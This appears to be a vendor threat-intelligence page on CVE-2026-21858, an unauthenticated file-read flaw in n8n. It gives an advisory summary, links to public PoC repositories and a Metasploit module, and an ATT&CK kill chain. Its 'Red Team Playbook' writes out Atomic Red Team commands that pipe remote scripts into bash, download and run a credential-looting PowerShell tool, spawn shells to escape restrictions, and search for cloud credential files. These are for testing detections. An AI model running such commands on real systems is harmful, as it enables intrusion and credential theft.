CVE-2026-21858

CRITICAL EXPLOIT POC TTE Zero-Day Pub 07/01 Upd 12/01

Overview

This vulnerability is a server-side file access flaw caused by improper input validation in n8n's form-based workflow execution component. Specifically, the affected versions (1.65.0 through 1.120.x) allow unauthenticated attackers to exploit workflow execution mechanisms to access arbitrary files on the underlying server. The root cause lies in insufficient sanitization of workflow inputs that are processed without authentication checks, enabling unauthorized file retrieval through crafted workflow requests.

Vulnerability Description

n8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.

Impact

An unauthenticated remote attacker can leverage this vulnerability to access sensitive files on the server hosting n8n, potentially exposing credentials, configuration data, or other confidential information. No user interaction or privileges are required, and the attack can be performed over the network without authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). This exposure may facilitate further compromise depending on the deployment context and workflow configurations, including lateral movement or escalation within the affected environment.

Solution

Users should upgrade n8n to version 1.121.0 or later, where this vulnerability is resolved as detailed in the official security advisory GHSA-v4pr-fm98-w9pg available on GitHub. The vendor recommends applying this update promptly to mitigate the issue. No alternative workarounds are specified; refer to the advisory for comprehensive patching instructions and version verification.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the n8n workflow automation platform arises from improper handling of form-based workflows, which allows an attacker to exploit the system and access files on the underlying server. This issue primarily affects versions from 1.65.0 up to, but not including, 1.121.0. The core of the vulnerability lies in the platform's insufficient validation and sanitization of user inputs within these workflows. As a result, an attacker can craft specific requests that manipulate the workflow execution, leading to unauthorized file access. This flaw highlights a significant oversight in the application's security architecture, particularly in how it processes and executes user-defined workflows.

Attack vectors for this vulnerability are varied, but they predominantly involve unauthenticated remote access. An attacker could leverage this flaw by creating a malicious workflow that, when executed, triggers the file access mechanism. This could be done through social engineering tactics to lure users into executing the workflow or by directly targeting the n8n instance if it is exposed to the internet. Once the workflow is executed, sensitive information stored on the server, such as configuration files, user data, or other critical assets, could be exposed. Depending on the deployment configuration and the specific workflows in use, this could lead to further compromise, such as data exfiltration or lateral movement within the network.

The real-world impact of this vulnerability is profound, particularly for organizations that rely on n8n for automating workflows that handle sensitive data. The potential for data exposure poses significant business risks, including regulatory non-compliance, reputational damage, and financial loss. Organizations may face legal repercussions if sensitive customer data is leaked, especially in industries governed by strict data protection regulations. Furthermore, the exploitation of this vulnerability could lead to a broader compromise of the organization's IT infrastructure, allowing attackers to pivot to other systems and escalate their access privileges.

To detect and mitigate this vulnerability, organizations should first ensure that they are running the latest version of n8n, specifically version 1.121.0 or later, where the issue has been addressed. Regularly updating software and applying security patches is a fundamental practice in maintaining a secure environment. Additionally, organizations should conduct thorough security assessments of their n8n workflows to identify any potentially vulnerable configurations or workflows that may expose sensitive data. Implementing strong access controls and authentication mechanisms can also help mitigate the risk of unauthorized access. Monitoring for unusual activity within the n8n instance and employing web application firewalls can further enhance security by detecting and blocking potential exploitation attempts.

In conclusion, the vulnerability within the n8n workflow automation platform represents a critical risk that organizations must address proactively. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves against exploitation. Implementing robust detection and mitigation strategies will not only safeguard sensitive information but also reinforce the overall security posture of the organization in an increasingly complex threat landscape.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-21858, indicating increased adversary interest and potential exploitation attempts targeting vulnerable n8n workflow automation instances. While the overall exploit trend shows a slight decline, the recent uptick in telemetry suggests that threat actors may be intensifying reconnaissance or initial access efforts. Notably, new proof-of-concept exploits have surfaced, broadening the toolkit available to attackers and lowering the barrier for exploitation. This development elevates the operational risk for organizations running affected versions, as unauthenticated remote attackers can leverage these tools to access sensitive files and potentially achieve remote code execution. Consequently, the threat level for CVE-2026-21858 should be considered sustained at a critical severity with an increased likelihood of active exploitation, underscoring the urgency for defenders to maintain vigilant monitoring and detection capabilities.

Affected Products (1)

Vendor Product Version CPE
n8n N8n N8n All cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
n8n arbitrary file read
auxiliary/gather/ni8mare_cve_2026_21858
dor attias, msutovsky-r7 Unknown - View

GitHub PoCs (16)

Repository Author Stars Forks Date Link
Chocapikk/CVE-2026-21858
n8n Ni8mare - Unauthenticated Arbitrary File Read to RCE Chain (CVSS 10.0)
Chocapikk 258 51 2026-01-07 View
sh4den/CVE-2026-21858
Proof of Concept: CVE-2026-21858 is vulnerability on n8n where unauthenticated remote attackers can access sensitive fil...
sh4den 3 0 2026-01-20 View
SystemVll/CVE-2026-21858
Proof of Concept: CVE-2026-21858 is vulnerability on n8n where unauthenticated remote attackers can access sensitive fil...
SystemVll 3 0 2026-01-20 View
EQSTLab/CVE-2026-21858
Ni8mare, n8n RCE
EQSTLab 1 1 2026-02-11 View
0xBlackash/CVE-2026-21858
CVE-2026-21858
0xBlackash 1 0 2026-02-23 View
cropnet/Ni8mare
Comprehensive vulnerability detection tool for n8n workflow automation instances. Detects the critical CVE-2026-21858 vu...
cropnet 1 0 2026-01-12 View
sec-dojo-com/CVE-2026-21858
sec-dojo-com 1 0 2026-01-20 View
Fomovet/cve-2026-21858
POC for CVE-2026-21858
Fomovet 0 0 2026-06-21 View
Bannt08/Research-CVE-2026-21858
Bannt08 0 0 2026-05-08 View
masterwok/PoC-CVE-2026-21858
Proof-of-concept exploit for CVE-2026-21858 (ni8mare) impacting n8n versions < 1.121.0
masterwok 0 0 2026-04-16 View
kaleth4/CVE-2026-21858
kaleth4 0 0 2026-04-09 View
bgarz929/Ashwesker-CVE-2026-21858
CVE-2026-21858
bgarz929 0 0 2026-01-28 View
Alhakim88/CVE-2026-21858
Hack
Alhakim88 0 0 2026-01-30 View
bamov970/CVE-2026-21858
bamov970 0 0 2026-02-24 View
Yati2/Ni8mare-CVE-2026-21858
Yati2 0 0 2026-03-13 View
sastraadiwiguna-purpleeliteteaming/SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit
SASTRA-ADI-WIGUNA-CVE-2026-21858-Holistic-Audit
sastraadiwiguna-purpleeliteteaming 0 0 2026-01-17 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

24 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-01-07
PoC Published (16 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Information Disclosure
90% info_disclosure
Path Traversal
66% path_traversal
Remote Code Execution
50% rce
Insecure Direct Object Reference
43% idor

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-135 Format String Injection
40%
High High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
40%
High High
CAPEC-101 Server Side Include (SSI) Injection
40%
High High
CAPEC-23 File Content Injection
40%
High Very High
CAPEC-88 OS Command Injection
40%
High High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-21858
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/n8n-io/n8n/security/advisories/GHSA-v4pr-fm98-w9pg
cyera.com
GitHub CVE x_refsource_MISC
https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858